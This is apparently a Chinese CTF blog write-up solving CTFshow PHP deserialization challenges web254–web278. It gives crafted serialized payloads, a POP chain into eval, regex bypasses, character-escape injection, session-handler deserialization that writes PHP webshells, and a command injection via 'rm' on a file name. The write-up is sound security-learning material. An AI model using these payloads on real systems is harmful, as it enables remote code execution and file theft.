CTFSHOW-反序列化

发布于 2023-03-24  532 次阅读


  • 前一篇写了反序列化的一些拓展,这一篇来练一些题

web254-基础1

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  • 保证类的username和password(值为xxxxxx)和传入的参数相等即可
?username=xxxxxx&password=xxxxxx

web255-基础2

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  • 相比较上一题多了一个步骤,需要cookie传参,将user变量实例化成ctfShowUser的对象
<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$user=new ctfShowUser;
echo serialize($user);
?>
  • 本来cookie传入就行了
user=O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}
  • 但是看源码,login函数没有将isVip的值赋为1,所以手改一下值
user=O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
  • 还是不对,虽然没有private或者protected造成的不可见字符,但是还是要编码才行
?username=xxxxxx&password=xxxxxx

Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A
%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256-基础3

 <?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  • 拿上一题的对象传进去就行了,控制username和password不相等
?username=a&password=xxxxxx

Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22
password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257-基础pop链

 <?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
  • 目标显然是backDoor的eval函数,ctfShowUser的析构函数存在同名函数漏洞,可以进入backDoor的getInfo,只需要将ctfShowUser的class属性实例化为backDoor的对象,$this->class->getInfo();就会自动帮我们调用
 <?php

error_reporting(0);
//highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new backDoor;
    }
}

class info{
    private $user='xxxxxx';
}

class backDoor{
    private $code="system('cat flag.php');";
}

$q=new ctfShowUser;
echo urlencode(serialize($q));

?>
  • 得到
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22
%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00
isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%
3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D 

web258-正则绕过

 <?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
  • 如果没有正则的话解答明显与上一道题是一模一样的,利用前面基础篇提到的+绕过正则即可
 <?php

error_reporting(0);
//highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new backDoor;
    }
}

class info{
    private $user='xxxxxx';
}

class backDoor{
    private $code="system('cat flag.php');";
}

$q=new ctfShowUser;
echo serialize($q);//把urlencode去掉了,方便添加加号

?>
  • 得到
O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUseris
Vip";b:0;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat flag.php');";}} 
  • 按照流程要观察一下这里的正则过滤了什么,然后添加+号,然而我看不懂,,,之后专门学习一下正则单独开一篇吧
  • 看wp,这里过滤了O:11:和O:8:
O:+11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUseriVip";b:0;s:18:"ctfShowUserclass";O:+8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat 
flag.php');";}}
  • 编码后
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22ctfShowUserusername%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22ctfShowUserpassword%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22ctfShowUserisVip%22%3Bb%3A0%3Bs%3A18%3A%22ctfShowUserclass%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22backDoorcode%22%3Bs%3A23%3A%22system('cat%20flag.php')%3B%22%3B%7D%7D

web259-soapclient

  • 考察原生类配合crlf,后面单独开一篇

web260-基础4

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}
  • serialize用于序列化数组或者对象,如果用于其他东西就不起作用了
  • 直接传入ctfshow=ctfshow
  • 正则只是匹配了字符串有无xxxx,而不是要求字符串全等于xxxx,所以可以随便反序列化一个数组或者1对象
<?php
class ctf{
    public $c = 'ctfshow_i_love_36D';
} 
$a = serialize(new ctf());
echo urlencode($a);
?>

web261-自带unserialize

 username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);
  • eval在invoke()里面,但是显然这道题触发不了invoke(),只能使用file_put_contents了,这个0x36d之前出过一个%00截断加翻转的弱比较题目,本题还是一样的使用10进制877,那么username是877.php即可,password是webshell
  • 还有一个问题就是$data是怎么来的,在许多情况中,对象自己并不带有unseiralize函数,但是这里的类是带有unserilize函数的,那么反序列化时就会调用类自己拥有的函数,同时进行默认的反序列化操作
<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
  • ?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";}

web262-字符逃逸

<?php

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
  • 这不就是之前的字符逃逸那一篇里面的原题吗,这里就不投机取巧直接改admin了,联系一下字符逃逸
  • 先随便序列化一段信息
<?php

class message{
    public $from='1';
    public $msg='2';
    public $to='3';
    public $token='user';

}
$a=new message();
echo serialize($a);

?>
  • 得到
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
  • 将to的值改一下,现在得到的字符串已经可以成功的过验证了
O:7:"message":4:
{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"us
er";}
  • 此时原脚本应该是
  • 生成的新信息为
O:7:"message":4:
{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"u
ser";}
  • 此时to的值长度为28,根据构造的闭环,值应该是1,就少了27位

  • 注意到原文将fuck正则替换成loveu,所以to的值里面每有一个fuck,字符串就会凭空多出来一个,那么就传27个fuck就行了

  • 所以?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckf
    uckfuckfuckfuck";s:5:"token";s:5:"admin";}
  • (小插曲)太感动了,这道题终于出flag了,上面有几道题目死活出不了flag,甚至直接照抄网上的wp都不行😭

web263-session反序列化

  • 查看源代码,有个check.php,访问得到一个{"0":"error","msg":"\u767b\u9646\u5931\u8d25"}

  • 啊?转换出来是"登录失败"😒,原来是www.zip文件泄露

  • inc.php里面有个设置解释器的,很明显是session反序列化了

ini_set('session.serialize_handler', 'php');
  • index.php
<?php
    error_reporting(0);
    session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));// 
         $_SESSION['limit']= 1;
    }
?>
  • check.php
$_GET['u'],"pass"=>$_GET['pass']);

if($GET){

    $data= $db->get('admin',
    [   'id',
        'UserName0'
    ],[
        "AND"=>[
        "UserName0[=]"=>$GET['u'],
        "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
        ]
    ]);
    if($data['id']){
        //登陆成功取消次数累计
        $_SESSION['limit']= 0;
        echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
    }else{
        //登陆失败累计次数加1
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
        echo json_encode(array("error","msg"=>"登陆失败"));
    }
}
  • php不断把cookie传参给session,所以session是可控的,同时页面又把解释器给改了,就可以把session的值替换成我们想要发序列化的内容即可
  • inc.php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
  • 正好inc.php里面有个可以利用的写文件,但是被污染了,显然文件名是无关紧要的,只不过在设定的文件名前面多了一个log-,一开始没反应过来,其实后面对于内容的污染也是无关紧要的,因为有\<?php ?>标签的闭环
<?php
class User{
    public $username='a.php';
    public $password='<?php system("cat f*");?>';
    public $status='a';

}
$a=new User();
echo base64_encode('|'.serialize($a));//原文有个base64decode
  • 得到fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJhLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgc3lzdGVtKCJjYXQgZioiKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==
  • 按照网上的wp,访问index.php,抓包改cookie,然后访问check.php触发反序列化,写入log-a.php,但是访问是404😭ctfshow日常没flag

web264-字符逃逸2

index.php

<?php
error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
message.php

<?php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
  • 题目大致和web262一样的,只不过cookie传参变成了session传参,同时要随便设置一个cookie才行2
cookie: msg=1
?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265-指针

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}
  • php可以让变量执行另一个变量的地址,实现两个变量的值始终相等
$a='123';
$b=&$a;
$b=1;
echo $a;
  • 同时反序列化正好也可以记录下来这种指针关系,那么很容易得到poc
<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->token='a';
        $this->password =&$this->token;
}
$a=new ctfshowAdmin();
echo serialize($a);
  • 得到
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
  • 传入即可?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

web266-大小写敏感

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}
  • $cs = file_get_contents('php://input');这个就是说cs的值来源于post的传参了
  • ctfshow中的构造函数要过显然是很容易的,只要不初始化值,两个属性值就是默认且相等了,只需要实例化一个ctfshow的类就可以了,但是下面的正则匹配了ctfshow
  • 这里考察了反序列化对大小写不敏感,随便实例化一个大写的ctfshow即可
<?php
class CTFSHOW{
}
$a=new ctfshow();
echo serialize($a);
  • 得到
O:7:"CTFSHOW":0:{}
  • post传入O:7:"CTFSHOW":0:{},注意hackbar的post是必须要传入a=b形式的字符串1,所以必须要burpsuit才能完成传参
  • 实际上由于反序列化对大小写不敏感,随便怎么大小写都能过,比如O:7:"cTFSHOW":0:{},O:7:"cTfshoW":0:{}之类的

web267~274-框架漏洞

  • 都是框架漏洞哇

web275-命令执行

 <?php
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }

}else{
    echo 'where is flag?';
}

where is flag?
  • 如果checkevil()===false,后面的对随机数进行md5的操作是没有操作空间的,但是如果$this->evilfile\=\=\=true,就会执行system('rm '.$this->filename);就存在命令执行了
  • 只需要$this->filename=1.txt;cat /f*并且post传入flag触发checkfile即可
  • get传入?fn=1.txt;tac /fl*并且post传入flag(本目录恰好有个文件也是f开头,ls可以看到,所以是fl,cat莫名其妙的不行,所以tac)

web276-phar条件竞争

  • 要写python脚本,后面单开一篇

web277~278-python反序列化

  • 第一次做python反序列化,得单开一篇
届ける言葉を今は育ててる
最后更新于 2024-02-07